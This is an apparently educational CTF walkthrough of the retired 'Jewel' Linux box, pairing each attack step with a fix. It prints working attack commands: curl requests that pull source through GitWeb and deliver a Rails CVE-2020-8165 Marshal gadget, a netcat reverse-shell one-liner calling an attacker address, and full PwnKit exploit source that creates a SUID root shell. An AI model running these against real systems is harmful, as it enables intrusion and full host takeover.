← all walkthroughs

Jewel

Linux· Medium
owned
2026-07-09
time to own
19m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target ran a Rails 5.2.2.1 blog application on port 8080 and a GitWeb source-hosting service on port 8000. GitWeb's anonymous snapshot-export feature was left on by default, letting any visitor download the entire application source in a single request. Source review confirmed the app cached a user-controlled username field in Redis with Rails' raw: true option — the exact pattern exploited by CVE-2020-8165 — in which the server calls Marshal.load directly on the stored bytes instead of safe JSON parsing.

I self-registered, serialized an ActiveSupport ERB gadget chain as the cache entry, and delivered it via the profile-update endpoint; the next page load triggered deserialization and yielded a reverse shell as system user bill. Post-exploitation enumeration found the SUID pkexec binary installed from an unpatched version of Polkit; CVE-2021-4034 (PwnKit) was exploited by compiling a malicious shared object and calling pkexec with an empty argument list, causing it to load my code with root privileges and completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PAYLOAD="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1EnumerationNetwork port and service enumeration (T1046)
Mapped open services and discovered GitWeb on port 8000
An nmap scan of $TARGET found three open ports: 22/tcp (OpenSSH 7.9p1 Debian), 8000/tcp (Apache 2.4.38, immediately redirecting to /gitweb/), and 8080/tcp (nginx 1.14.2 with Phusion Passenger 6.0.6 fronting a Rails application named BL0G!). The GitWeb redirect on port 8000 was immediately identified as a potential source-code exposure risk and prioritised for follow-up.
Nmap output: 22/tcp ssh OpenSSH 7.9p1; 8000/tcp http Apache 2.4.38; 8080/tcp http nginx 1.14.2 (Phusion Passenger 6.0.6). HTTP GET to port 8000 returned a redirect to /gitweb/.
Exact commands 3
Register the target hostname for local resolution.
echo "$TARGET jewel.htb" | sudo tee -a /etc/hosts
Identify all open ports and service banners.
nmap -Pn -sV -p22,8000,8080 $TARGET
Confirm the redirect from port 8000 root to /gitweb/.
curl -si 'http://jewel.htb:8000/' | grep -i 'location\|server'
2EnumerationUnauthenticated source-code exfiltration via GitWeb snapshot endpoint
Exfiltrated the full Rails application source via GitWeb anonymous snapshot export
GitWeb ships with a snapshot-export endpoint that, when unauthenticated access is not explicitly disabled, returns the entire repository as a compressed archive. Using the URL parameters a=snapshot, h=HEAD, and sf=tgz, I downloaded a .tar.gz of the complete Rails project — including Gemfile.lock (confirming Rails 5.2.2.1), the database schema, and all controller source. This converted the blog application on port 8080 from a black-box target into a fully readable white-box and directly exposed the vulnerable cache-deserialization code path used for remote code execution.
Curl 'http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz' returned HTTP 200 with Content-Type: application/x-gzip and the full repository archive.
Exact commands 3
Download the complete repository snapshot without credentials.
curl -s 'http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz' -o repo.tgz
Extract the archive into the src/ working directory.
mkdir src && tar xzf repo.tgz -C src --strip-components=1
Confirm Rails version 5.2.2.1 in the dependency lockfile.
grep -E '^ {4}rails ' src/Gemfile.lock
FixDisable anonymous GitWeb snapshot export to prevent source-code disclosureHigh
WeaknessThe GitWeb instance on port 8000 was accessible without any authentication, and its built-in snapshot-export feature was enabled by default. Any visitor could download a compressed archive of the entire Rails application source — gem versions, database schema, controller logic, and configuration — in a single HTTP request. This directly exposed the vulnerable raw-cache deserialization code path that enabled remote code execution on port 8080.
FixDisable GitWeb's snapshot feature in /etc/gitweb.conf by adding: $feature{'snapshot'}{'default'} = [0]; Alternatively, restrict the /gitweb/ location block to authenticated users using Apache's Require valid-user directive with HTTP Basic Auth, or limit access by IP allowlist. If this repository does not need to be web-accessible at all, take the service offline or bind port 8000 to localhost only.
3EnumerationSource-code analysis revealing unsafe deserialization sink (CWE-502, CVE-2020-8165)
Identified the CVE-2020-8165 deserialization sink in application_controller.rb
Reading the extracted source, I found that application_controller.rb cached the logged-in user's username in Redis under a key derived from the session user_id and fetched it back using Rails.cache.fetch with the option raw: true. In Rails versions up to 6.0.x, raw: true bypasses the safe JSON path and calls Marshal.load on the raw cached bytes. Because the username field is user-supplied — writable via PUT /users/:id — any registered user can replace their own cache slot with a serialized Ruby gadget chain that the server executes on the next request. The Gemfile.lock confirmed Rails 5.2.2.1, squarely in the vulnerable range.
Src/Gemfile.lock: rails 5.2.2.1; src/app/controllers/application_controller.rb: Rails.cache.fetch with raw: true keyed by session[:user_id]; src/db/schema.rb: t.string "password_digest" and t.string "username" confirming the PUT /users/:id update surface.
Exact commands 2
Locate the vulnerable raw: true cache read in the controller.
grep -n 'cache\|raw\|current_user' src/app/controllers/application_controller.rb
Confirm the username column is present and writable via the users update endpoint.
grep -n 'username\|password_digest' src/db/schema.rb
4ExploitationUnauthenticated self-registration for authenticated exploit delivery
Registered a user account and captured the CSRF token and user ID
The blog's /signup endpoint accepted self-registration with no email verification or administrator approval. I registered an account, authenticated via /login, and extracted the Rails CSRF authenticity_token and own numeric user_id from the resulting authenticated HTML — both required to submit a valid profile-update PUT request that would write the gadget payload into the Redis cache under the correct session-keyed slot.
HTTP 200 from /signup and /login; session cookie populated in cookie jar; user_id visible in profile hyperlink on the authenticated home page.
Exact commands 3
Register the $USERNAME-controlled account; inspect /signup HTML to confirm exact field names.
curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/signup' -d "user[username]=$USERNAME&user[email]=$USERNAME@local.com&user[password]=$PASSWORD"
Authenticate and follow the redirect to populate the session cookie.
curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/login' -d "user[email]=$USERNAME@local.com&user[password]=$PASSWORD" -L -o home.html
Extract the CSRF token and own user_id for the gadget delivery request.
TOKEN=$(curl -s -b c.jar 'http://jewel.htb:8080/users/edit' | grep -oP 'name="authenticity_token" value="\K[^"]+'); USER_ID=$(curl -s -b c.jar 'http://jewel.htb:8080/' | grep -oP 'href="/users/\K[0-9]+' | head -1); echo "TOKEN=$TOKEN USER_ID=$USER_ID"
5ExploitationRails RedisCacheStore unsafe Marshal deserialization RCE (CVE-2020-8165, T1203)
Delivered the CVE-2020-8165 Marshal gadget and received a reverse shell as bill
An ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy object was constructed around an ERB instance whose @src field contained a bash reverse-shell one-liner. Marshal.dump serialized the gadget, and the resulting bytes were URL-encoded and submitted as the username parameter in a PUT /users/:id request, writing the payload directly into Redis under my session-keyed cache slot. The subsequent GET request to the home page caused application_controller.rb to call Rails.cache.fetch with raw: true, which invoked Marshal.load on the stored bytes, instantiated the ERB gadget, evaluated the shell command, and connected back to the waiting netcat listener — establishing a shell as bill (uid=1000).
Reverse shell received on my listener; id: uid=1000(bill) gid=1000(bill); pwd: /home/bill/blog; user.txt read at /home/bill/user.txt.
Exact commands 5
Start the reverse shell listener (run in a background terminal on the $USERNAME machine).
nc -lvnp 4444
Generate the URL-encoded Marshal gadget; replace $ATTACKER_IP. Make_payload.rb uses ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy wrapping an ERB object with the shell command in @src.
ruby make_payload.rb "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f"
Write the gadget bytes into Redis via the profile-update endpoint.
curl -b c.jar -c c.jar -X PUT "http://jewel.htb:8080/users/${USER_ID}" --data-urlencode "authenticity_token=${TOKEN}" --data-urlencode "user[username]=${PAYLOAD}"
Load the home page to trigger the cache read and Marshal.load deserialization.
curl -b c.jar 'http://jewel.htb:8080/'
Confirm execution as bill and read the user flag; actual value is <user.txt>.
id; cat /home/bill/user.txt
FixUpgrade Rails and eliminate raw cache deserialization to close CVE-2020-8165Critical
WeaknessThe application ran Rails 5.2.2.1 and cached a user-controlled field (the username, writable via PUT /users/:id) in Redis with the option raw: true. This flag causes the framework to call Marshal.load directly on the stored bytes rather than the safe JSON path, allowing any registered user to replace their own cache slot with a serialized Ruby gadget chain that executes arbitrary operating-system commands as the web application user the next time the server reads the cache — with no administrator access required.
FixUpgrade Rails to 6.0.3.2 / 5.2.4.2 or later, where CVE-2020-8165 is patched. Separately, audit every cache read in the application and remove raw: true wherever the stored value is influenced by user input; the safe default uses JSON serialization and does not call Marshal.load. If raw: true is technically required for a specific internal value, ensure that cache slot is never populated with user-supplied data and add input validation on all profile-update endpoints.
6Post-ExploitationLinux SUID binary enumeration and vulnerable service fingerprinting (T1548.001)
Enumerated the host and identified SUID-root pkexec
From the bill shell, standard post-exploitation checks were run. The home directory contained the Rails blog at /home/bill/blog, a bcrypt password hash, and a Google Authenticator TOTP seed in local files. Sudo -l required bill's system password, which was unavailable — an attempted bcrypt crack against the recovered hash did not complete in the available time. A SUID binary scan found /usr/bin/pkexec with the SUID root bit set; the installed policykit-1 package version was confirmed to be in the vulnerable range for CVE-2021-4034 (PwnKit) on this Debian 10 host.
Find / -perm -4000 output listed /usr/bin/pkexec; dpkg -l policykit-1 showed a version older than the 0.105-26+deb10u1 patch; OS: Debian 10 (buster) confirmed from OpenSSH banner.
Exact commands 3
List all SUID root binaries — pkexec appears in the output.
find / -perm -4000 -user root -type f 2>/dev/null
Check the installed Polkit version; anything below 0.105-26+deb10u1 on Debian 10 is vulnerable to CVE-2021-4034.
dpkg -l policykit-1
Confirm the SUID root bit is set on pkexec.
ls -la /usr/bin/pkexec
7Privilege EscalationPolkit pkexec local privilege escalation via GCONV_PATH shared-object injection (CVE-2021-4034, T1068)
Exploited PwnKit (CVE-2021-4034) to achieve root and read the root flag
CVE-2021-4034 exploits a memory-safety flaw in pkexec's handling of an empty argument list: when pkexec is invoked with argc=0, it reads envp[0] as argv[1] and then writes a partially controlled path back into the environment array, which overlaps with envp. By placing the string GCONV_PATH=./exploit in the environment and pre-creating a matching directory containing a malicious shared object and a gconv-modules manifest pointing to it, I caused iconv — called internally by pkexec as root — to dlopen the shared object. The shared object's constructor called setuid(0) and copied /bin/bash to /tmp/rootbash with the SUID bit. Running /tmp/rootbash -p then dropped into a root shell, and /root/root.txt was read to complete full system compromise.
/tmp/rootbash -p -c 'id' returned uid=0(root) gid=0(root); /root/root.txt read successfully; root flag value is <root.txt>.
Exact commands 5
Create an isolated working directory on the target for exploit files.
mkdir -p /tmp/pk && cd /tmp/pk
Compile the launcher that calls pkexec with argc=0 and the crafted environment.
cat > pwn.c <<'EOF'
#include <unistd.h>
int main(){ char *a[]={NULL}; char *e[]={"exploit","PATH=GCONV_PATH=.","CHARSET=PWNKIT","SHELL=pwnkit",NULL};
execve("/usr/bin/pkexec", a, e); return 0; }
EOF
gcc pwn.c -o pwn
Compile the malicious shared object and build the fake GCONV_PATH directory tree.
cat > pwnkit.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init(){
  setuid(0); setgid(0); seteuid(0); setegid(0);
  system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash");
  _exit(0);
}
EOF
mkdir -p exploit
printf 'module UTF-8// PWNKIT// exploit 2\n' > exploit/gconv-modules
gcc -shared -fPIC pwnkit.c -o exploit/exploit.so
touch 'GCONV_PATH=./exploit' && chmod +x 'GCONV_PATH=./exploit'
Trigger pkexec to load the malicious shared object as root; /tmp/rootbash is created with SUID.
./pwn
Drop into a root shell and read the root flag; actual value is <root.txt>.
/tmp/rootbash -p -c 'id; cat /root/root.txt'
FixPatch Polkit to remediate PwnKit local privilege escalation (CVE-2021-4034)Critical
WeaknessThe installed version of Polkit contained a memory-safety flaw in the pkexec binary, which ships SUID root. By invoking pkexec with an empty argument list and a crafted environment, any local user with no special privileges can cause pkexec to load an externally supplied shared object with root privileges, escalating to full system control in seconds. The attack requires only the ability to write files to a writable directory such as /tmp.
FixApply the vendor patch immediately: run apt-get update && apt-get install --only-upgrade policykit-1 to install version 0.105-26+deb10u1 or later on Debian 10. As an immediate workaround until patching is possible, remove the SUID bit from pkexec (chmod 0755 /usr/bin/pkexec) — this blocks the exploit without breaking SSH-based server administration, since only graphical-session Polkit authentication depends on pkexec.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
8000/tcp
8080/tcp